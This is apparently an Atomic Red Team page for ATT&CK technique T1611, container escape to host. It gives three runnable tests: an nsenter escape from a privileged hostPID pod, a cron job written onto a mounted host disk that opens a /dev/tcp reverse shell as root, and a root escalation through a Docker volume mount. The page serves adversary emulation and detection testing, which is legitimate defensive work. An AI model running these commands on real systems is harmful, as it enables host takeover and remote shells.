logo
SlackReddit

T1611

Escape to Host

Description from ATT&CK

Adversaries may break out of a container or virtualized environment to gain access to the underlying host. This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)

There are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as unshare and keyctl to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask)

Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as docker.sock, to break out of the container via a Container Administration Command.(Citation: Container Escape) Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open)

In ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.(Citation: Broadcom VMSA-2025-004)

Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.

Source

Atomic Tests

Atomic Test #1: Deploy container using nsenter container escape

In this escape kubectl is used to launch a new pod, with a container that has the host pids mapped into the container (hostPID:true). It uses the alpine linux container image. It runs with privilege on the host (privileged:true). When the container is launched the command nsenter --mount=/proc/1/ns/mnt -- /bin/bash is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

Additional Details:

Supported Platforms: Containers

auto_generated_guid: 0b2f9520-a17a-4671-9dba-3bd034099fff

Attack Commands: Run with sh!

kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'

Cleanup Commands

kubectl --context kind-atomic-cluster delete pod atomic-escape-pod

Dependencies: Run with sh!

Description: Verify docker is installed.
Check Prereq Commands
which docker
Get Prereq Commands
if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi
Description: Verify docker service is running.
Check Prereq Commands
sudo systemctl status docker
Get Prereq Commands
sudo systemctl start docker
Description: Verify kind is in the path.
Check Prereq Commands
which kind
Get Prereq Commands
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
chmod +x ./kind
mv kind /usr/bin/kind
Description: Verify kind-atomic-cluster is created
Check Prereq Commands
sudo kind get clusters
Get Prereq Commands
sudo kind create cluster --name atomic-cluster
Description: Verify kubectl is in path
Check Prereq Commands
which kubectl
Get Prereq Commands
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x ./kubectl
mv kubectl /usr/bin/kubectl

Atomic Test #2: Mount host filesystem to escape privileged Docker container

This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser. The container running the test needs be privileged. It may take up to a minute for this to run due to how often crond triggers a job. Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell.

Supported Platforms: Containers

auto_generated_guid: 6c499943-b098-4bc6-8d38-0956fc182984

Inputs

NameDescriptionTypeDefault Value
mount_devicePath to the device of the host's disk to mountpath/dev/dm-0
mount_pointPath where the host filesystem will be mountedpath/mnt/T1611.002
cron_pathPath on the host filesystem where cron jobs are storedpath/etc/cron.d
cron_filenameFilename of the cron job in cron_pathstringT1611_002
listen_addressIP address to listen for callback from the host system.string`ifconfig eth0
listen_portTCP Port to listen on for callback from the host system.integer4444

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename}
netcat -l -p #{listen_port} 2>&1

Cleanup Commands

rm #{mount_point}#{cron_path}/#{cron_filename}
umount #{mount_point}
rmdir #{mount_point}

Dependencies: Run with sh!

Description: Verify mount is installed.
Check Prereq Commands
which mount
Get Prereq Commands
if [ "" == "`which mount`" ]; then echo "mount Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install mount ; elif [ -n "`which yum`" ]; then sudo yum -y install mount ; fi ; else echo "mount installed"; fi
Description: Verify container is privileged.
Check Prereq Commands
capsh --print | grep cap_sys_admin
Get Prereq Commands
if [ "`capsh --print | grep cap_sys_admin`" == "" ]; then echo "Container not privileged.  Re-start container in insecure state.  Docker: run with --privileged flag.  Kubectl, add securityContext: privileged: true"; fi
Description: Verify mount device (/dev/dm-0) exists.
Check Prereq Commands
ls #{mount_device}
Get Prereq Commands
if [ ! -f #{mount_device} ]; then echo "Container not privileged or wrong device path.  Re-start container in insecure state.  Docker: run with --privileged flag.  Kubectl, add securityContext: privileged: true"; fi
Description: Netcat is installed.
Check Prereq Commands
which netcat
Get Prereq Commands
if [ "" == "`which netcat`" ]; then echo "netcat Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install netcat ; elif [ -n "`which yum`" ]; then sudo yum -y install netcat ; fi
Description: IP Address is known.
Check Prereq Commands
if [ "#{listen_address}" != "" ]; then echo "Listen address set as #{listen_address}" ; fi
Get Prereq Commands
if [ "" == "`which ifconfig`" ]; then echo "ifconfig Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install net=tools ; elif [ -n "`which yum`" ]; then sudo yum -y install net-tools ; fi

Atomic Test #3: Privilege Escalation via Docker Volume Mapping

This test demonstrates privilege escalation by abusing Docker's volume mapping feature to gain access to the host file system. By mounting the root directory of the host into a Docker container, the attacker can use chroot to operate as root on the host system.

Supported Platforms: Containers

auto_generated_guid: 39fab1bc-fcb9-406f-bc2e-fe03e42ff0e4

Inputs

NameDescriptionTypeDefault Value
usernameUsername that run attack commandstringdocker_user

Attack Commands: Run with sh! Elevation Required (e.g. root or admin)

echo "Current user: #{username}"
sudo -u docker_user sh -c "sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id"

Cleanup Commands

USERNAME="#{username}"; SUDOERS_FILE="/etc/sudoers.d/$USERNAME"; id "$USERNAME" &>/dev/null && userdel -r "$USERNAME" && echo -e "$USERNAME is deleted."; [[ -f "$SUDOERS_FILE" ]] && rm -f "$SUDOERS_FILE"; echo "Cleanup complete."

Dependencies: Run with sh!

Description: Docker
Check Prereq Commands
command -v docker &> /dev/null && echo "Docker is installed" || { echo "Docker is not installed."; exit 1; }
Get Prereq Commands
echo "You should install docker manually."
Description: Docker Privileged User
Check Prereq Commands
sudo -l -U #{username} | grep "(ALL) NOPASSWD: /usr/bin/docker"
Get Prereq Commands
USERNAME="#{username}"
PASSWORD="password123"
SUDO_COMMAND="/usr/bin/docker"
SUDOERS_FILE="/etc/sudoers.d/$USERNAME"
[[ $EUID -ne 0 ]] && echo "Run as root." && exit 1; id "$USERNAME" &>/dev/null || { useradd -m -s /bin/bash "$USERNAME" && echo "$USERNAME:$PASSWORD" | chpasswd; }; [[ -f "$SUDOERS_FILE" ]] || { echo "$USERNAME ALL=(ALL) NOPASSWD: $SUDO_COMMAND" > "$SUDOERS_FILE" && chmod 440 "$SUDOERS_FILE"; }; echo "Setup complete. User: $USERNAME, Password: $PASSWORD"

On this page